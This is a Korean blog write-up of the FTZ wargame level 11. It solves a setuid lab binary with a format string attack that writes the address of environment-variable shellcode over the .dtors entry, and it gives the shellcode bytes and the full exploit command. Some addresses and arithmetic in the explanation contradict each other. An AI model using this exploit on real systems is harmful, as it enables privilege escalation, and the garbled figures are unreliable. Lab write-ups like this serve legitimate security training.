FTZ level11포맷 스트링 버그를 이용한 풀이

2017. 5. 23. 14:38SystemHacking/FTZ



FTZ 11번문제는 버퍼오버플로우공격을 시도해도 공격이 이루어지지만, 포맷스트링 버그를 사용해서 문제를 풀어보겠습니다.

포맷스트링 버그에 관한 자세한 설명은 다음 링크에 있습니다. http://itsaessak.tistory.com/115

매우 쉽게 설명해놓았습니다. 읽어보고 해당 문제를 푸시면 많은 도움이 될겁니다


[ 그림1 ]


printf()함수의 완벽한 형태가 아니죠 ? 포맷 스트링 버그 취약점이 생깁니다


[ 그림2 ]


취약점을 가진 해당 프로그램의 인자로 " %8x " 스트링을 넣어서 메모리 구조를 살펴볼 수 있습니다 

4번째 " %8x "스트링에서 처음입력한 AAAA 문자열이 존재하고 있음이 보입니다

이 부분이 우리가 문자를 입력할 수 있는 지점입니다. 해당 지점에 우리가 원하는 주소를 입력시킵시다

우리가 원하는 주소는 " return address " 이겟지요? ( 해당주소에 쉘실행코드를 올리면 level12권한의 쉘이 실행되니까 ! )


그러면 return address 는 어떻게 구할까요? 

gdb분석을 통해서 구할 수도 있습니다 하지만 저는 소멸자라는 개념을 이용해서 리턴어드레스를 구했습니다

소멸자란 main()함수가 종료될 때 실행되는 함수입니다


[ level11@ftz level11]$ nm ./attackme | head -20

[ 그림3 ]


" __DTOR__END__ " 이것이 main()함수의 소멸자입니다

왼쪽에 있는 주소가 소멸자가 존재하는 주소입니다 해당주소에 쉘 실행코드를 올려놓는다면 함수가 종료되지않고 쉘이 실행됩니다 !


리턴 어드레스를 알았으니 이제 실제 공격을 해보겠습니다.

에그쉘을 이용해서 쉘코드를 환경변수에 올리 수 있습니다. 에그쉘 설명링크 : http://itsaessak.tistory.com/113

하지만 저는 직접 환경변수를 선언하고 환경변수의 주소를 출력했습니다. ( 방법링크 http://itsaessak.tistory.com/113 )



[level11@ftz level11]$ export EGG=`python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'`

[level11@ftz level11]$ /tmp/getaddr EGG /home/level11/attackme

[ 그림4 ]


리턴어드레스 : 0x08049610

쉘실행코드주소 : 0xbffffca5


[ 그림5 ]



[공격코드]

/home/level11/attackme `python -c 'print "\x41\x41\x41\x41\x10\x96\x04\x08\x41\x41\x41\x41\x12\x96\x04\x08"'`%8x%8x%8x%64637c%n%50010c%n 


16진수를 인자로 넘기기위해서 python문법을 이용하였습니다.

문자열만 쌍따옴표로 문자열 표시를 해주고 스트링문자들은 그냥써주셔야합니다 ( 이거때문에 엄청 헤맷습니다.... )

스트링이 쌍따옴표 안에있으면 "%8x" 라는 문자로 인식되버립니다

위 코드처럼 잘 써주셧다면  "~~문자열~~"%8x%8x%8x%64637c%n%50010c%n << 함수의 인자로 들어갑니다

즉, printf( "---문자열---"%8x%8x%8x%64637c%n%50010c%n ) 형태가 된다. 포맷스트링 버그가 발생된다


0x08046910 주소에는 64637 + 40(4+4+4+4+8+8+8) = 64677 을 넣어주어서 " 0xfac5 "가 입력되게 하였고

0x08046912 주소에는 646677+ 50010= 114687 을 넣어주어서 " 0x1bffff "가 입력되게 하였습니다.


결과적으로 리턴어드레스인 " 0x08046910 " 주소에는 " 0xbfffffac5 " 가 입력되었습니다

main()함수가 종료되어 지기 위해 소멸자 함수를 가리키고 있는 위치로 이동하면 실제론 쉘 실행코드의 주소가 입력되어 있습니다

따라서 쉘이 실행되고 setreuid() 함수가 적용되어 있어 level12의 권한을 획득할 수 있습니다.


왜 리턴 어드레스에 +2byte주소에 값을 입력시키는 이유를 모르신다면 제가 설명해논 포맷스트링 링크로 가셔서 읽어보시기바랍니다

쉽게 설명해놓았습니다. 참고로 포맷스트링 문제는 level20번 문제에서 한번 더 나옵니다.



'SystemHacking > FTZ' 카테고리의 다른 글

FTZ level13 스택 가드 ( Stack Guard )  (0) 2017.05.23
FTZ level12 Buffer OverFlow  (0) 2017.05.23
FTZ level10 공유메모리  (0) 2017.05.23
FTZ level9 Buffer OverFlow  (0) 2017.05.23
FTZ level8 리눅스 패스워드 파일 크랙  (0) 2017.05.23